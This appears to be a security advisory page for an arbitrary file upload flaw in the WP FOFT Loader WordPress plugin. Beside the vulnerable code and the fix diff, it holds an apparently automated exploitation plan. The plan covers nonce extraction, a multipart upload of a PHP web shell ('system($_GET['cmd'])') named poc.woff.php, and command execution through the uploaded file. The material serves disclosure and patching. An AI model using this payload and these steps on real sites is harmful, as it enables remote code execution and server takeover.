WP FOFT Loader <= 2.1.39 - Authenticated (Author+) Arbitrary File Upload
Description
The WP FOFT Loader plugin for WordPress is vulnerable to arbitrary file uploads due to incorrect file type validation in the 'WP_FOFT_Loader_Mimes::file_and_ext' function in all versions up to, and including, 2.1.39. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=2.1.39What Changed in the Fix
Changes introduced in v2.1.40
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-1756 ## 1. Vulnerability Summary The **WP FOFT Loader** plugin (up to version 2.1.39) contains a critical unrestricted file upload vulnerability. The flaw exists in the `WP_FOFT_Loader_Mimes::file_and_ext` function, which is hooked into the WordPress `wp_chec…
Show full research plan
Exploitation Research Plan - CVE-2026-1756
1. Vulnerability Summary
The WP FOFT Loader plugin (up to version 2.1.39) contains a critical unrestricted file upload vulnerability. The flaw exists in the WP_FOFT_Loader_Mimes::file_and_ext function, which is hooked into the WordPress wp_check_filetype_and_ext filter.
The function uses an insecure strpos() check on the filename to determine if a file is a WOFF or WOFF2 font. If the string .woff or .woff2 appears anywhere in the filename, the function explicitly overrides the file's extension to woff or woff2 and sets a permissive MIME type. Because this filter is applied globally to all WordPress uploads, an authenticated user (Author level or higher) can bypass extension restrictions by naming a malicious PHP file with an embedded font extension (e.g., exploit.woff.php). WordPress will validate the file as a woff font but save it with the original .php extension, allowing for Remote Code Execution (RCE).
2. Attack Vector Analysis
- Vulnerable Hook:
wp_check_filetype_and_extfilter, registered inWP_FOFT_Loader_Mimes::allow_woff(). - Vulnerable Function:
WP_FOFT_Loader_Mimes::file_and_extinincludes/class-wp-foft-loader-mimes.php. - Endpoint: Any file upload endpoint that utilizes
wp_handle_upload(), most notablywp-admin/async-upload.php(Media Library). - Authentication: Required (Author+). Authors have the
upload_filescapability by default. - Payload Parameter:
async-upload(file multipart data). - Preconditions: The plugin must be active.
3. Code Flow
- Request Entry: An authenticated user sends a POST request to
/wp-admin/async-upload.phpto upload a file namedshell.woff.php. - Core Processing: WordPress calls
wp_handle_upload(), which calls_wp_handle_upload(). - Validation Trigger:
_wp_handle_upload()callswp_check_filetype_and_ext()to verify the file's extension and MIME type. - Filter Execution: The plugin's filter
WP_FOFT_Loader_Mimes::file_and_ext($types, $file, $filename, $mimes)is executed. - Vulnerable Logic:
strpos( 'shell.woff.php', '.woff' )returns5(notfalse).- The code sets
$types['ext'] = 'woff'and$types['type'] = '...|application/octet-stream'.
- Bypass: WordPress receives the modified
$typesarray. It checks if the extensionwoffis allowed. Since the plugin also addswoffto the allowed list inmime_types(), validation passes. - Persistence: WordPress moves the file to the
wp-content/uploadsdirectory, retaining the original nameshell.woff.php.
4. Nonce Acquisition Strategy
To upload files via the Media Library's asynchronous handler, a media-form nonce is required.
- Step 1: Use
wp-clito create an Author user if one does not exist. - Step 2: Log in as the Author user.
- Step 3: Navigate to the Media Upload page:
wp-admin/media-new.php. - Step 4: Extract the nonce from the
_wpPluploadSettingsJavaScript object.- Tool:
browser_eval - Command:
window._wpPluploadSettings.defaults.multipart_params._wpnonce
- Tool:
- Step 5: Use this nonce in the
_wpnoncefield of the multipart POST request.
5. Exploitation Strategy
The goal is to upload a PHP shell to the server.
Request Details
- URL:
http://[target]/wp-admin/async-upload.php - Method:
POST - Content-Type:
multipart/form-data - Parameters:
_wpnonce: [Extracted Nonce]action:upload-attachmentasync-upload: (The file content)- Filename:
poc.woff.php - Content:
<?php echo "VULN_EXPLOITED"; system($_GET['cmd']); ?>
- Filename:
Steps
- Setup: Authenticate as an Author.
- Nonce Extraction: Navigate to
media-new.phpand run the JS eval to get the nonce. - Upload: Send the
http_request(Playwright) toasync-upload.phpwith the payload namedpoc.woff.php. - Locate Payload: The response will contain the attachment ID and the file URL. If not explicitly returned, the file will be at
/wp-content/uploads/[YYYY]/[MM]/poc.woff.php. - Execution: Access the uploaded file via GET request:
http://[target]/wp-content/uploads/[YYYY]/[MM]/poc.woff.php?cmd=id.
6. Test Data Setup
- Active Plugin: Ensure
wp-foft-loaderis active. - User Creation:
wp user create attacker attacker@example.com --role=author --user_pass=password123 - Verification Page: No special shortcodes are needed because the filter is global, but navigating to
wp-admin/media-new.phpis necessary to fetch themedia-formnonce.
7. Expected Results
- The
async-upload.phpresponse should return200 OKwith a JSON body containing"success": true. - The
urlproperty in the response should point to a.phpfile. - Accessing the URL should execute the PHP code and return the string
VULN_EXPLOITED.
8. Verification Steps
- List Attachments: Verify the file exists in the database.
wp post list --post_type=attachment --format=csv | grep "poc.woff.php" - Check Filesystem: Confirm the file is on disk in the uploads directory.
ls -la /var/www/html/wp-content/uploads/202*/*/poc.woff.php - Verify Execution:
# Use http_request to check output # Expected: VULN_EXPLOITED followed by 'id' command output
9. Alternative Approaches
If async-upload.php is restricted or nonces are difficult to retrieve:
- REST API Media Endpoint: Use
POST /wp-json/wp/v2/media. This requires awp_restnonce.- Nonce Extraction:
window.wpApiSettings.noncefrom any admin page. - Header:
X-WP-Nonce: [nonce] - File Name: Sent via
Content-Dispositionheader.
- Nonce Extraction:
- Settings Page Upload: If the plugin's own settings page (
options-general.php?page=wp-foft-loader) handles uploads via a specific class (WP_FOFT_Loader_Upload), audit that class for missing capability checks, though the global filter makes this unnecessary.
Summary
The WP FOFT Loader plugin for WordPress is vulnerable to arbitrary file uploads because it uses an insecure strpos check on filenames within the wp_check_filetype_and_ext filter. Authenticated attackers with Author-level permissions or higher can bypass extension restrictions by including '.woff' or '.woff2' anywhere in a malicious filename (e.g., 'shell.woff.php'), leading to remote code execution.
Vulnerable Code
// includes/class-wp-foft-loader-mimes.php:42 public function file_and_ext( $types, $file, $filename, $mimes ) { if ( false !== strpos( $filename, '.woff' ) ) { $types['ext'] = 'woff'; $types['type'] = 'font/woff|application/font-woff|application/x-font-woff|application/octet-stream'; } if ( false !== strpos( $filename, '.woff2' ) ) { $types['ext'] = 'woff2'; $types['type'] = 'font/woff2|application/octet-stream|font/x-woff2'; } return $types; }
Security Fix
@@ -42,26 +42,37 @@ * @param string $mimes Mimes to add. */ public function file_and_ext( $types, $file, $filename, $mimes ) { - if ( false !== strpos( $filename, '.woff' ) ) { - $types['ext'] = 'woff'; - $types['type'] = 'font/woff|application/font-woff|application/x-font-woff|application/octet-stream'; - } - if ( false !== strpos( $filename, '.woff2' ) ) { - $types['ext'] = 'woff2'; - $types['type'] = 'font/woff2|application/octet-stream|font/x-woff2'; - } - + $ext = pathinfo( $filename, PATHINFO_EXTENSION ); + $allowed_ext = array( + 'woff', + 'woff2', + ); + $mime_type = mime_content_type( $file ); + $allowed_mime_types = array( + 'font/woff', + 'font/woff2', + 'application/font-woff', + 'application/font-woff2', + ); + if ( ( in_array( $mime_type, $allowed_mime_types, true ) ) && ( in_array( $ext, $allowed_ext, true ) ) ) { + $types['ext'] = $ext; + if ( 'woff' === $ext ) { + $types['type'] = 'font/woff|application/font-woff'; + } else if ( 'woff2' === $ext ) { + $types['type'] = 'font/woff2|application/font-woff2'; + }; + }; return $types; } /** * Add mime types. * - * @param array $existing_mimes Array of existing mimes to modified. + * @param array $existing_mimes Array of existing mimes to be modified. */ public function mime_types( $existing_mimes ) { - $existing_mimes['woff'] = 'font/woff|application/font-woff|application/x-font-woff|application/octet-stream'; - $existing_mimes['woff2'] = 'font/woff2|application/octet-stream|font/x-woff2'; + $existing_mimes['woff'] = 'font/woff|application/font-woff'; + $existing_mimes['woff2'] = 'font/woff2|application/font-woff2'; return $existing_mimes; }
Exploit Outline
To exploit this vulnerability, an attacker must have Author-level access to the WordPress dashboard. The attacker prepares a PHP web shell with a filename that includes a font extension string, such as 'exploit.woff.php'. By uploading this file via the standard WordPress media upload endpoint (wp-admin/async-upload.php) using a valid media-form nonce, the plugin's filter will identify the file as a legitimate font because of the '.woff' substring. WordPress will then permit the upload while retaining the original .php extension. Once uploaded, the attacker can execute arbitrary PHP code by accessing the file directly in the wp-content/uploads directory.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.